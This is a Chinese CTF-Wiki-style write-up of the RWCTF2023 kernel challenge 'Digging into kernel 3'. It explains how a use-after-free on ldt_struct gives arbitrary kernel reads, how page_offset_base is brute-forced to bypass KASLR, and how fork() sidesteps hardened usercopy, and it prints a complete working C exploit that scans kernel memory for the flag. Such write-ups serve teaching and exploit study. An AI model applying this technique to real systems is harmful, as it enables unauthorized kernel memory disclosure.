CTF-Wiki 内核利用实战:利用 ldt_struct 在内核内存中直接搜索 initramfs 中的 flag
文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载在多数 CTF 内核Kernel Pwn题目中initrd/initramfs会作为根文件系统被整体读入内存因此 flag 文件的内容必然驻留在内核线性映射区中——只要攻击者具备内核空间内的任意读能力就无需再费力做文件读取或提权直接在内存里搜 flag即可一击命中。本文以 CTF-Wiki 仓库中 initramfs.md 为骨架以 RWCTF2023 体验赛 Digging into kernel 3 为例题完整讲解initrd/initramfs的原理、如何利用ldt_struct构造内核任意地址读、如何借助fork()绕过 hardened usercopy并给出可直接复现的完整 exploit。读完本文你将掌握一类内核任意读 内存搜索 flag的通用解题范式。initrd 与 initramfsflag 为什么会被整段载入内存Initial RAM diskinitrd提供了在 boot loader 阶段载入一个 RAM disk 并挂载为根文件系统的能力从而在该阶段运行一些用户态程序在完成该阶段工作之后才是挂载真正的根文件系统。initrd文件系统镜像通常为 gzip 格式在启动阶段由 boot loader 将其路径传给 kernel自 Linux 2.6 版本后出现了使用 cpio 格式的initramfs从而无需挂载便能展开为一个文件系统。initrd/initramfs的一个关键特点便是文件系统中的所有内容都会被读取到内存当中。而大部分 CTF 中的 kernel pwn 题目都选择直接将 initrd 作为根文件系统因此只要我们拥有内存搜索能力便能够直接在内存空间中搜索 flag 的内容——这省去了传统利用中先提权、再读文件的复杂链路。关于如何用 busybox 构建并打包这类 initramfs 根文件系统编译静态 busybox、创建proc/sys/dev/etc/init.d目录、编写init启动脚本、用 cpio 归档可参考仓库中的 qemu-emulate.md其给出的环境正是本文例题所使用的典型启动形态。例题RWCTF2023 体验赛 - Digging into kernel 3题目环境与漏洞面按仓库中同系列题目分析见 spray.md的惯例先查看启动脚本可见开启了 SMEP、SMAP、KASLR、KPTIqemu-system-x86_64 \ -m 128M \ -nographic \ -kernel ./bzImage \ -initrd ./rootfs.img \ -enable-kvm \ -cpu kvm64,smap,smep \ -monitor /dev/null \ -append consolettyS0 kaslr kpti1 quiet oopspanic panic1 init/init \ -no-reboot \ -snapshot \ -s文件系统中给了一个rwctf.ko拖入 IDA 分析后发现只定义了一个 ioctl提供两个功能0xDEADBEEF分配一个任意大小的 object 并写入数据分配 flag 为__GFP_ZERO | GFP_KERNEL但同一时刻只能存在两个 object0xC0DECAFE释放一个之前分配的 object存在 UAFUse-After-Free。需要传入的结构体为struct node { uint32_t idx; uint32_t size; void *buf; };题目分析已在前文完成此处不再赘述。关键点是题目直接白给了一个无限制的 UAF因此利用方式多种多样。本文选择利用ldt_struct直接在内存空间中搜索 flag 的方式解题。Step.I - 利用 ldt_struct 完成内核任意地址读ldt_struct 结构体与 modify_ldt 系统调用LDTLocal Descriptor Table局部段描述符表中存放着进程的段描述符段寄存器中存放的段选择子便是段描述符表中段描述符的索引。内核中与 LDT 相关联的结构体为ldt_struct定义如下entries指针指向一块描述符表的内存nr_entries表示 LDT 中的描述符数量struct ldt_struct { /* * Xen requires page-aligned LDTs with special permissions. This is * needed to prevent us from installing evil descriptors such as * call gates. On native, we could merge the ldt_struct and LDT * allocations, but its not worth trying to optimize. */ struct desc_struct *entries; unsigned int nr_entries; /* * If PTI is in use, then the entries array is not mapped while were * in user mode. The whole array will be aliased at the addressed * given by ldt_slot_va(slot). We use two slots so that we can allocate * and map, and enable a new LDT without invalidating the mapping * of an older, still-in-use LDT. * * slot will be -1 if this LDT doesnt have an alias mapping. */ int slot; };Linux 提供了modify_ldt()系统调用来操纵当前进程的ldt_structSYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr , unsigned long , bytecount) { int ret -ENOSYS; switch (func) { case 0: ret read_ldt(ptr, bytecount); break; case 1: ret write_ldt(ptr, bytecount, 1); break; case 2: ret read_default_ldt(ptr, bytecount); break; case 0x11: ret write_ldt(ptr, bytecount, 0); break; } /* * The SYSCALL_DEFINE() macros give us an unsigned long * return type, but tht ABI for sys_modify_ldt() expects * int. This cast gives us an int-sized value in %rax * for the return code. The unsigned is necessary so * the compiler does not try to sign-extend the negative * return codes into the high half of the register when * taking the value from int-long. */ return (unsigned int)ret; }从源码结构可以看出func的四个取值分别对应四种操作func处理函数语义0read_ldt()读取当前进程 LDT 内容到用户空间1write_ldt(..., 1)写入 LDT完成新的ldt_struct分配2read_default_ldt()读取默认 LDT0x11write_ldt(..., 0)另一种写入路径reload_ldt标志为 0在 ldt_struct 上打 UAF对于write_ldt()而言其最终会调用alloc_ldt_struct()分配 ldt 结构体。由于走的是通用的分配路径kmalloc我们可以在该结构体上完成 UAF/* The caller must call finalize_ldt_struct on the result. LDT starts zeroed. */ static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries) { struct ldt_struct *new_ldt; unsigned int alloc_size; if (num_entries LDT_ENTRIES) return NULL; new_ldt kmalloc(sizeof(struct ldt_struct), GFP_KERNEL); //...而read_ldt()就是简单地把 LDT 表上的内容读出到用户空间。由于我们有无限次 UAF故可以修改ldt-entries完成内核空间中的任意地址读static int read_ldt(void __user *ptr, unsigned long bytecount) { //... if (copy_to_user(ptr, mm-context.ldt-entries, entries_size)) { retval -EFAULT; goto out_unlock; } //... out_unlock: up_read(mm-context.ldt_usr_sem); return retval; }借 read_ldt 爆破 page_offset_base 绕过 KASLRread_ldt()还能帮助我们绕过 KASLR。这里要用到copy_to_user()的一个特性对于非法地址其并不会造成 kernel panic只会返回一个非零的错误码-EFAULT。于是我们可以多次修改ldt-entries并多次调用modify_ldt()以爆破内核的page_offset_base若是成功命中则modify_ldt会返回一个非负值读到的字节数反之返回负值即地址非法。不过需要注意由于hardened usercopy的存在我们并不能够直接读取内核代码段或是线性映射区中大小不符的对象的内容否则会造成 kernel panic。这正是下一步要解决的问题。Step.II - 利用 fork 绕过 hardened usercopy虽然在用户空间与内核空间之间的数据拷贝存在 hardened usercopy但是内核空间到内核空间的数据拷贝之间并不存在类似的保护机制因此我们可以通过一些手段绕过 hardened usercopy。阅读 Linux 内核源码可以观察到当进程调用fork()时内核会通过memcpy()将父进程的ldt-entries上的内容拷贝给子进程/* * Called on fork from arch_dup_mmap(). Just copy the current LDT state, * the new task is not running, so nothing can be installed. */ int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm) { //... memcpy(new_ldt-entries, old_mm-context.ldt-entries, new_ldt-nr_entries * LDT_ENTRY_SIZE); //... }该操作完全处于内核中因此不会触发 hardened usercopy 的检查。我们只需要在父进程中设定好要搜索的地址再 fork 出子进程由子进程调用read_ldt()读取数据即可——父进程负责布置任意读地址可以触发 UAF 改写entries子进程负责把数据读回用户态两者通过fork()时的内核态memcpy衔接巧妙地绕过了 usercopy 防线。完整 EXPLOIT 与逐段解析以下是比赛时所使用的最终 exp也是本文的核心复用资产#define _GNU_SOURCE #include sys/types.h #include sys/ioctl.h #include sys/prctl.h #include sys/syscall.h #include sys/mman.h #include sys/wait.h #include asm/ldt.h #include stdio.h #include signal.h #include pthread.h #include unistd.h #include stdlib.h #include string.h #include fcntl.h #include ctype.h #include stdint.h int dev_fd; struct node { uint32_t idx; uint32_t size; void *buf; }; void err_exit(char * msg) { printf([x] %s \n, msg); exit(EXIT_FAILURE); } void alloc(uint32_t idx, uint32_t size, void *buf) { struct node n { .idx idx, .size size, .buf buf, }; ioctl(dev_fd, 0xDEADBEEF, n); } void del(uint32_t idx) { struct node n { .idx idx, }; ioctl(dev_fd, 0xC0DECAFE, n); } int main(int argc, char **argv, char **envp) { struct user_desc desc; uint64_t page_offset_base 0xffff888000000000; uint64_t secondary_startup_64; uint64_t kernel_base 0xffffffff81000000, kernel_offset; uint64_t search_addr, flag_addr -1; uint64_t temp; uint64_t ldt_buf[0x10]; char *buf; char flag[0x100]; int pipe_fd[2]; int retval; cpu_set_t cpu_set; /* bind to CPU core 0 */ CPU_ZERO(cpu_set); CPU_SET(0, cpu_set); sched_setaffinity(0, sizeof(cpu_set), cpu_set); dev_fd open(/dev/rwctf, O_RDONLY); if (dev_fd 0) { err_exit(FAILED to open the /dev/rwctf file!); } /* init descriptor info */ desc.base_addr 0xff0000; desc.entry_number 0x8000 / 8; desc.limit 0; desc.seg_32bit 0; desc.contents 0; desc.limit_in_pages 0; desc.lm 0; desc.read_exec_only 0; desc.seg_not_present 0; desc.useable 0; alloc(0, 16, arttnba3rat3bant); del(0); syscall(SYS_modify_ldt, 1, desc, sizeof(desc)); /* leak kernel direct mapping area by modify_ldt() */ while(1) { ldt_buf[0] page_offset_base; ldt_buf[1] 0x8000 / 8; del(0); alloc(0, 16, ldt_buf); retval syscall(SYS_modify_ldt, 0, temp, 8); if (retval 0) { printf([-] read data: 0x%lx\n, temp); break; } else if (retval 0) { err_exit(no mm-context.ldt!); } page_offset_base 0x1000000; } printf([] Found page_offset_base: 0x%lx\n, page_offset_base); /* leak kernel base from direct mappinig area by modify_ldt() */ ldt_buf[0] page_offset_base 0x9d000; ldt_buf[1] 0x8000 / 8; del(0); alloc(0, 16, ldt_buf); syscall(SYS_modify_ldt, 0, secondary_startup_64, 8); kernel_offset secondary_startup_64 - 0xffffffff81000060; kernel_base kernel_offset; printf([*] Get secondary_startup_64: 0x%lx\n, secondary_startup_64); printf([] kernel_base: 0x%lx\n, kernel_base); printf([] kernel_offset: 0x%lx\n, kernel_offset); /* search for flag in kernel space */ search_addr page_offset_base; pipe(pipe_fd); buf (char*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); while(1) { ldt_buf[0] search_addr; ldt_buf[1] 0x8000 / 8; del(0); alloc(0, 16, ldt_buf); int ret fork(); if (!ret) { // child char *result_addr; syscall(SYS_modify_ldt, 0, buf, 0x8000); result_addr memmem(buf, 0x8000, rwctf{, 6); if (result_addr) { for (int i 0; i 0x100; i) { if (result_addr[i] }) { flag_addr search_addr (uint64_t)(result_addr - buf); printf([] Found flag at addr: 0x%lx\n, flag_addr); } } } write(pipe_fd[1], flag_addr, 8); exit(0); } wait(NULL); read(pipe_fd[0], flag_addr, 8); if (flag_addr ! -1) { break; } search_addr 0x8000; } /* read flag */ memset(flag, 0, sizeof(flag)); ldt_buf[0] flag_addr; ldt_buf[1] 0x8000 / 8; del(0); alloc(0, 16, ldt_buf); syscall(SYS_modify_ldt, 0, flag, 0x100); printf([] flag: %s\n, flag); system(/bin/sh); return 0; }下面按利用流程逐段拆解这段 exp 的四个阶段1. 准备工作与 LDT 初始化通过sched_setaffinity将进程绑定到 CPU 核心 0避免多核调度带来的竞态干扰打开题目设备/dev/rwctf填充struct user_desc描述符信息并调用syscall(SYS_modify_ldt, 1, desc, sizeof(desc))func1即write_ldt让内核为当前进程分配一个ldt_struct在此之前先alloc(0, 16, arttnba3rat3bant)再del(0)制造一个空闲的 16 字节 slab 对象。write_ldt分配ldt_structkmalloc(sizeof(struct ldt_struct))时便会复用这块 UAF 内存——之后我们通过del(0)alloc(0, 16, ldt_buf)就能把伪造的ldt_struct含伪造的entries指针写回到这块内存中。2. 爆破 page_offset_base绕过 KASLR第一阶段以0xffff888000000000为起始猜测值、0x1000000为步长循环构造ldt_buf[0] 猜测地址即伪造entries指针、ldt_buf[1] 0x8000/8伪造nr_entriesdel(0); alloc(0, 16, ldt_buf);把伪造结构体写回 UAF 对象调用modify_ldt(0, temp, 8)尝试读取 8 字节若返回retval 0说明该地址映射合法、读取成功temp中即为读到的内容爆破命中若返回0说明当前进程没有 LDT否则地址非法继续步进。3. 由线性映射区泄露内核基址第二阶段爆破到page_offset_base后已知secondary_startup_64位于直接映射区中的page_offset_base 0x9d000附近于是将该地址作为entries读出一个指针值减去已知的静态偏移0xffffffff81000060得到kernel_offset进而恢复kernel_base。这一步之所以可行是因为直接映射区linear/direct mapping中保存着内核镜像的物理映射其中对应位置存放了secondary_startup_64的链接期地址两者相减即 KASLR 偏移。4. 全内存扫描 flag第三阶段核心技巧search_addr page_offset_base; pipe(pipe_fd); buf mmap(NULL, 0x8000, ...); while(1) { // 父进程把 search_addr 写入 UAF 对象伪造 entries del(0); alloc(0, 16, ldt_buf); int ret fork(); if (!ret) { // 子进程read_ldt 读出 0x8000 字节memmem 搜索 rwctf{ syscall(SYS_modify_ldt, 0, buf, 0x8000); result_addr memmem(buf, 0x8000, rwctf{, 6); ... write(pipe_fd[1], flag_addr, 8); exit(0); } wait(NULL); read(pipe_fd[0], flag_addr, 8); if (flag_addr ! -1) break; search_addr 0x8000; }这里正是 Step.II 的落地父进程负责改entries子进程负责读内存fork()时内核态memcpy把父进程伪造好的 LDT 内容复制给子进程规避了 hardened usercopy 对直接读取线性映射区中大小不符对象的拦截。子进程每次读取0x8000字节后调用memmem匹配rwctf{前缀再向后扫描0x100字节寻找}以定位 flag 的结束计算出 flag 在内核中的绝对地址flag_addr并通过匿名管道写回父进程父进程wait子进程后读取结果未命中则把搜索地址推进0x8000继续下一轮。找到 flag 地址后最后一轮直接把它作为entries调用read_ldt把0x100字节读回用户态并打印ldt_buf[0] flag_addr; ldt_buf[1] 0x8000 / 8; del(0); alloc(0, 16, ldt_buf); syscall(SYS_modify_ldt, 0, flag, 0x100); printf([] flag: %s\n, flag); system(/bin/sh);由于 initramfs 把整个根文件系统都载入了内存flag 必然就躺在内核线性映射区的某处这个读一段、搜一段、步进一段的扫描循环最终必然命中。小结一类可复用的任意读 内存搜 flag范式本文以ldt_struct为切入点总结了一条完整的攻击链路其核心步骤可在其他具备内核任意读能力的题目中直接复用利用前提题目存在可改写内核堆对象的原语本文为无限制 UAF且目标内核未开启过强的堆保护或可利用fork绕开 usercopy 检查构造任意读把伪造的ldt_structentries指向目标地址、nr_entries控制读取长度写入 UAF 对象再通过modify_ldt(0, ...)触发read_ldt()完成读绕过 hardened usercopy由父进程布置任意地址fork()子进程通过内核态memcpy继承伪造 LDT子进程负责读出数据从而避开用户态与内核态之间拷贝时的 usercopy 校验定位 flag以rwctf{或题目对应的 flag 前缀为特征串从page_offset_base起按页/按块扫描内核线性映射区命中后回读打印。同时提醒由于 hardened usercopy 的存在直接读取内核代码段或线性映射区中与对象大小不符的数据会触发 kernel panic务必在 exp 中采用父进程布置 子进程读取的 fork 模式而 Linux 后续版本对 LDT 相关路径亦有更严格的防护如ldt_dup_context前的各项检查在移植到新内核时需重新审计arch/x86/kernel/ldt.c中的实现细节。赞分享文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载相关推荐CTF-Wiki 内核 Pwn 专题userfaultfd 在 Linux 内核条件竞争利用中的原理与实战CTF Wiki 内核 Pwn 专题userfaultfd 在 Linux 内核条件竞争利用中的原理与实战 导读 本文以 ctf wiki 仓库 https:文档网络安全教程突破网盘下载技术壁垒LinkSwift直链解析引擎深度解析突破网盘下载技术壁垒LinkSwift直链解析引擎深度解析 你是否曾在深夜等待一个重要的项目文件下载完成却只能眼睁睁看着进度条缓慢爬行是否因为网盘限速而错文档网络安全教程C4-draw.io技术揭秘基于mxGraph的C4架构建模插件实现原理C4 draw.io技术揭秘基于mxGraph的C4架构建模插件实现原理 c4 draw.io是一款专为draw.io平台设计的C4架构建模插件它通过提供标文档网络安全教程上一篇Claude 网页设计堆栈ui-ux-pro-max Playwright MCP安装与配置实战指南下一篇10分钟从零到精通Mermaid在线编辑器的完整可视化之旅创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

相关新闻

STM32标准外设库深度解析:从RCC时钟到GPIO的完整调用链路

STM32标准外设库深度解析:从RCC时钟到GPIO的完整调用链路

1. 从一次点灯失败说起:标准外设库到底封装了什么很多人第一次接触 STM32 的时候,都是从点灯开始的。我也一样。当年拿着一块最小系统板,照着教程把标准外设库的工程模板拷过来,改了几行代码,编译下载,灯亮…

2026/9/25 12:04:23 阅读更多 →
电控工程师简历突围:用开源项目构建可验证工程信号

电控工程师简历突围:用开源项目构建可验证工程信号

1. 为什么电控岗简历石沉大海?不是你不够好,是HR根本没看到“工程信号”秋招季刚过半,我连续帮6个电气/自动化/车辆工程背景的同学改过电控方向的简历。他们有个共同点:课程设计写了“基于STM32的智能小车”,毕设写了“…

2026/9/25 12:04:23 阅读更多 →
WSL Dashboard如何实现实时状态监控?wsl命令执行与输出解析机制深度剖析

WSL Dashboard如何实现实时状态监控?wsl命令执行与输出解析机制深度剖析

WSL Dashboard如何实现实时状态监控?wsl命令执行与输出解析机制深度剖析 【免费下载链接】wsl-dashboard A GUI manager for WSL featuring a modern UI — a lightweight, low‑memory, high‑performance dashboard to manage WSL instances. Install, list, star…

2026/9/25 12:04:23 阅读更多 →

最新新闻

代码阅读工作流实战:用 TaoToken 统一 Key 打通文件搜索、符号跳转与提问策略

代码阅读工作流实战:用 TaoToken 统一 Key 打通文件搜索、符号跳转与提问策略

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/26 16:40:44 阅读更多 →
5分钟读懂OpenManus配置:TaoToken统一Key接入Multi Agent实战

5分钟读懂OpenManus配置:TaoToken统一Key接入Multi Agent实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/26 16:40:44 阅读更多 →
多酒店预订系统实战:数据隔离、房态同步与三端接入

多酒店预订系统实战:数据隔离、房态同步与三端接入

简介:这是一套面向酒店行业开发者与中小连锁酒店经营者的多酒店预订管理系统源码,覆盖APP、H5与小程序三端,可解决分店扩张、房态同步、会员营销与内部协同等实际业务问题。资源包共2582个文件,约80.13MB,以1428个PHP业…

2026/9/26 16:40:44 阅读更多 →
手势识别打地鼠实战:MediaPipe+OpenCV从摄像头到锤子的完整链路

手势识别打地鼠实战:MediaPipe+OpenCV从摄像头到锤子的完整链路

简介:这是一份面向人机交互课程学习者与OpenCV入门开发者的完整项目资料,围绕手势识别控制的打地鼠游戏展开,可用于课程设计、实验复现与交互方式对比研究。资源包共27个文件,约60.1MB,包含6个Python源码文件、4个XML配…

2026/9/26 16:40:44 阅读更多 →
AiPy 为 openclaw 穿上安全铠甲:skill 随便用也不翻车的 TrustTools 配置骨架

AiPy 为 openclaw 穿上安全铠甲:skill 随便用也不翻车的 TrustTools 配置骨架

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/26 16:40:44 阅读更多 →
20家公司AI面试官吐血总结:3个月速成AI Agent开发,TaoToken统一Key接入Cline与CC Switch配置实战

20家公司AI面试官吐血总结:3个月速成AI Agent开发,TaoToken统一Key接入Cline与CC Switch配置实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/26 16:39:44 阅读更多 →

日新闻

数据库课后习题答案别硬背:当测试用例集刷,效率翻倍

数据库课后习题答案别硬背:当测试用例集刷,效率翻倍

简介:万常选版《数据库原理与设计》课后习题答案资源,覆盖第2至6章及第9章,适合正在学习关系模型、数据库建模、关系数据理论与模式求精的本科生、自学者作为复习与自测材料。压缩包共7个文件,含3个doc参考答案、2个sql示例脚本、…

2026/9/26 0:00:25 阅读更多 →
学校官网模拟全流程实践:从页面布局到后端接口与部署

学校官网模拟全流程实践:从页面布局到后端接口与部署

如果你正在找一门 Web 大作业的题目,或者刚开始接触 Web 前端开发想做点能拿来展示的东西,“学校官网模拟”几乎是最稳的选择。题目看着简单,但要把导航、新闻列表、轮播 Banner、二级页面、后台数据都串起来,其实已经把前端布局、…

2026/9/26 0:00:25 阅读更多 →
超级玛丽游戏源码C++:从零搭建横版跳跃游戏工程

超级玛丽游戏源码C++:从零搭建横版跳跃游戏工程

简介:这是一份面向游戏开发初学者与C进阶学习者的超级玛丽(超级马里奥)游戏源码,基于C面向对象编程实现,适合想通过经典项目理解游戏主循环、角色类设计、地图关卡加载与物理碰撞检测的读者参考。压缩包共49个文件&…

2026/9/26 0:00:25 阅读更多 →

周新闻

Flutter for OpenHarmony游戏卡片渐变背景实战:从原理到性能优化

Flutter for OpenHarmony游戏卡片渐变背景实战:从原理到性能优化

直接铺开项目本身吧。这几个月我一直在折腾一件事:用Flutter给OpenHarmony做一款游戏集合类的App,说白了就是把若干小游戏塞进一个壳里,用统一入口分发。这个方向本身不算新鲜,真正让我花了不少心思的,是首页那堆游戏卡…

2026/9/25 19:27:14 阅读更多 →
Word表格编号全攻略:从列表编号到题注交叉引用

Word表格编号全攻略:从列表编号到题注交叉引用

写Word文档,最让人头疼的往往是那些“看起来不起眼”的小问题。比如表格编号这事:今天在表后面多加了两个空白行,明天给客户交稿前发现整个章节的编号全部错位,光是挨个改序号就能耗掉大半个下午。我前阵子帮人整理一份上百页的技…

2026/9/25 11:15:26 阅读更多 →
从第一个站到第二个站:独立开发者的静态网站选型与落地实践

从第一个站到第二个站:独立开发者的静态网站选型与落地实践

1. 项目概述1.1 核心需求解析做独立开发者这几年,说实话,第一个网站上线的那天晚上我兴奋得没睡着。但等它跑了半年,流量惨淡、功能臃肿、代码自己都懒得看第二遍之后,我才慢慢琢磨明白一个道理:第一个网站是练手&…

2026/9/25 20:29:09 阅读更多 →

月新闻

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能分类:[AI/大模型]细分主题:AI 增强型 CI/CD 流水线自动化与 GitOps 实践:Agent 工作流、工具调用与任务拆解:从原型到生产的验收清单很多团队在尝试用大…

2026/9/25 20:29:43 阅读更多 →
容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场分类:[工程技术]细分主题:Kubernetes 生产环境运维与排障实战:可复制的项目复盘模板与决策记录大部分团队的事故复盘报告,最后都变成了躺在 Confluence 或钉…

2026/9/25 20:29:31 阅读更多 →
容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步分类:[工程技术]细分主题:Docker 容器化技术与镜像安全管理:核心链路的逐步实现与关键代码取舍面对一个积累了五六年历史包袱的单体架构应用(包含 Web 接口、后台…

2026/9/25 19:27:26 阅读更多 →